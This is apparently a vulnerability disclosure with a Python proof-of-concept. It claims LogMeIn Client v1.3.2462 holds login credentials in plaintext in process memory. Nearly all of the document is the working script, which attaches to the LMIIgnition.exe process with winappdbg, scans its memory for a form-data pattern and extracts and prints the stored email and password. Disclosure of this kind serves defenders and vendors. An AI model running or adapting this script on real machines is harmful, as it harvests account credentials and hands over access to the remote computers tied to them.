#####  
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.  
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.  
#####  
# Proof-Of-Concept Code:  
  
import time  
import urllib  
from winappdbg import Debug, Process  
  
username = ''  
password = ''  
found = 0  
filename = "LMIIgnition.exe"  
process_pid = 0  
memory_dump = []  
  
debug = Debug()  
try:  
print "[~] Searching for pid by process name '%s'.." % (filename)  
time.sleep(1)  
debug.system.scan_processes()  
for (process, process_name) in debug.system.find_processes_by_filename(filename):  
process_pid = process.get_pid()  
if process_pid is not 0:  
print "[+] Found process with pid #%d" % (process_pid)  
time.sleep(1)  
print "[~] Trying to read memory for pid #%d" % (process_pid)  
  
process = Process(process_pid)  
for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):  
memory_dump.append(process.read(address,150))  
for i in range(len(memory_dump[0])):  
email_addr = memory_dump[i].split('email=')[1]  
tmp_passwd = memory_dump[i].split('password=')[1]  
username = email_addr.split('&hiddenEmail=')[0]  
password = tmp_passwd.split('&rememberMe=')[0]  
if username != '' and password !='':  
found = 1  
print "[+] Credentials found!\r\n----------------------------------------"  
print "[+] Username: %s" % urllib.unquote_plus(username)  
print "[+] Password: %s" % password  
break  
if found == 0:  
print "[-] Credentials not found! Make sure the client is connected."  
else:  
print "[-] No process found with name '%s'." % (filename)  
  
debug.loop()  
finally:  
debug.stop()
